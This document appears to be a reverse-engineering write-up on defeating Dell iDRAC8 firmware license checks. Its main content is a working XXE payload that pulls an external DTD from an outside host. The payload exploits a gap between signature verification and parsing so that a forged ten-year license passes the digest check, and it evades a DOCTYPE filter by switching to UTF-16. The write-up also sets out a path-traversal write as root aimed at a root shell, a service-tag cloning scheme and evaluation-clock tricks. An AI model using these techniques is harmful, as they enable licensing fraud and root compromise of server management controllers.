# iDRAC8 licensing: remaining attack surface

Status of each item is marked. "Static" means confirmed in the firmware
binaries but not yet exercised on a device.

## Confirmed on hardware

| Attempt | Result |
| --- | --- |
| Self-signed license (`forged_unbound.xml`) | `LIC017` — xmlsec needs a cert that chains to Dell's CA |
| iDRAC7 perpetual bound to `9QYZF42` | `LIC010` — device/product-class check, before the tag binding |

## 1. XXE + parse/verify TOCTOU (working payload, validated locally)

`lmVerifySignature` (2.60: `0xe5c0`) does:

```c
/* raw-byte DOCTYPE filter: every offset, not every 10th */
for (i = 0; i + 9 < len; i++)
    if (strncmp(buf + i, "<!DOCTYPE", 9) == 0) return 17;

doc = xmlParseMemory(buf, len);   /* 0xe6c2 */
```

The disassembly *looks* like `i += 10` (`add #10,r8` at `0xe606`), but
`mov r1,r8` at `0xe60c` overwrites it with `i+1`; the `+10` is only the
`i + 9 < len` bounds check. So **any** file containing the ASCII bytes
`<!DOCTYPE` is rejected before parsing. That is why the first two hardware
attempts returned `LIC017` with zero HTTP requests.

Bypass: **UTF-16LE with BOM**. The scan is a byte-wise `strncmp`, so
`<\0!\0D\0O\0C\0T\0Y\0P\0E\0` does not match; libxml2 detects the BOM and
parses normally. The digest is over the canonical UTF-8 form, so the encoding
change does not affect it. `build_duration.py` emits UTF-16LE by default and
`check_duration.py` asserts the ASCII sequence is absent.

The license struct is parsed by a **second, independent** `xmlParseMemory`
at `0xe96a` (function at `0xe940`, the XPath reader). Both calls use
`xmlParseMemory`, i.e. `xmlReadMemory(buf, size, NULL, NULL, 0)`.

### Two corrections to the first analysis

1. **No firmware module imports `xmlLoadExtDtdDefaultValue`** (checked across
   every ELF in the image; only libxml2 itself defines it). It stays 0, so a
   plain `SYSTEM` external subset is never fetched. This matches the empty
   server log from the first probe.
2. `xmlSubstituteEntitiesDefault(1)` is **nullified**: `xmlCtxtUseOptionsInternal`
   (2.9.2, firmware `0x2b02c`) resets `ctxt->replaceEntities = 0` and
   `loadsubset = 0` because `options == 0`. Entity refs in *content* therefore
   become `XML_ENTITY_REF_NODE`, and C14N rejects them
   (`xmlC14NProcessNode`: `case XML_ENTITY_REF_NODE: return -1`).

### What does work

- **External parameter entities are loaded unconditionally in 2.9.2.**
  `xmlParsePEReference` pushes the input via `xmlNewEntityInputStream` →
  `xmlLoadExternalEntity` with no `loadsubset`/`replaceEntities` check. The
  firmware binary (`0x3dcc0`) only tests `input->free` for the blanks-wrapper
  path. libxml2 2.11 added a gate that skips external PEs unless
  NOENT/DTDLOAD/DTDATTR is set; 2.9.2 has no gate.
- **Entity refs in attribute values expand safely.** `xmlStringGetNodeList`
  (tree.c:1593) populates `ent->children`; C14N serializes attributes via
  `xmlNodeListGetString(doc, attr->children, 1)`, which walks them. No
  entity-ref node appears in the tree, so C14N succeeds.
- The duration is read with `sscanf(value, "P%dD", &license[0x970])`
  (`0xee10`), so an arbitrary day count is accepted.

### Payload

Genuine eval, with `lns:Duration="P240D"` replaced by `lns:Duration="&x;"`
and an internal subset that pulls an external parameter entity:

```xml
<!DOCTYPE lns:LicenseClass [
<!ENTITY % d SYSTEM "http://HOST:8000/license.dtd">
%d;
]>
...
<lns:Evaluation lns:Duration="&x;"/>
```

DTD served to the verifier: `<!ENTITY x "P240D">` (canonical form identical
to Dell's, digest matches). DTD served to the parser: `<!ENTITY x "P3650D">`
(term = Evaluation, 3650 days ≈ 2036).

Validated locally (`xxe/check_duration.py`):

```
c14n exclusive=False: modified == genuine: True  sha1=e702b635…e187881c (== DigestValue)
c14n exclusive=True : modified == genuine: True
verifier Duration : P240D
parser   Duration : P3650D
RESULT: PASS
```

Keep the day count below ~4300: `time_t` is 32-bit and 2038 is the limit.

Ready-to-run: `xxe/` (`build_duration.py`, `check_duration.py`, `serve.py`,
`dtd_dur_verifier.dtd`, `dtd_dur_parser.dtd`, `README.md`).

The older element-injection variant (`build.py`, `<Perpetual/>` inside
`LicenseTerm`) is dead: the entity ref lands in content, which produces an
`XML_ENTITY_REF_NODE` and makes C14N fail.

Term precedence remains useful for other variants: the parser loop walks
`Perpetual, Leased, Evaluation, Site` and stops at the first match
(`0xecc4` → `0xed60`).

## 2. Path traversal in the license filename (static)

`liblicenseapi.so` `importLicenseByFQDD` (0x4b20) builds the destination as:

```c
snprintf(path, 127, "/tmp/license/%s", filename);   /* literal at 0x5758 */
```

`filename` comes from the multipart `Content-Disposition` filename
(`clientFileName` in `libFileUploadHandler.so`), which the client controls.
No `basename()`/`..` filtering was found on that path. The license service
runs as root, so a name such as `../../flash/data0/config/lmcfg.txt` writes
outside `/tmp/license`.

Possible uses:

- reset `/flash/data0/rsdsafe/lm/evalHistory` → re-import the 240-day eval
  repeatedly;
- replace `/flash/data0/rsdsafe/lm/LdsrDev` (license database) with a
  crafted copy;
- overwrite a boot-time script or config for a root shell.

Not yet tested: whether the handler normalises the name before the copy, and
whether `/flash` is writable at that point.

## 3. ZIP handling (static)

`liblicenseapi` links `libunzip.so.0` and unpacks the uploaded file. If the
ZIP entry names are not sanitised, the same write primitive applies without
the filename trick. `libunzip.so.0.4` is in the rootfs.

## 4. Firmware downgrade (static)

`liblmpop.so` from 2.15.10.10 was extracted and compared:

- `lmVerifySignature` is the same 892-byte function, same keys manager,
  same X509 enablement, same `status == 1` check.
- Only literal addresses differ.

So 2.15 does not accept self-signed licenses either. Only pre-2.15 builds
are untested, and the T130 shipped with 2.05/2.15.

## 5. Evaluation clock (practical, not perpetual)

The eval term is stored as a start date plus `P240D`; the license manager
compares against the iDRAC clock. With NTP disabled and the clock held
inside the window, the eval stays valid. Not a license bypass, but it
removes the 240-day limit in practice.

## Practical recommendation

1. Import the genuine iDRAC8 eval now (works with a blank tag).
2. For a real perpetual license, use a genuine **iDRAC8** license and set
   the service tag to the donor's tag (the binding check is only a
   `strncmp`).
3. If pursuing an exploit, start with item 1 (XXE TOCTOU), then item 2.
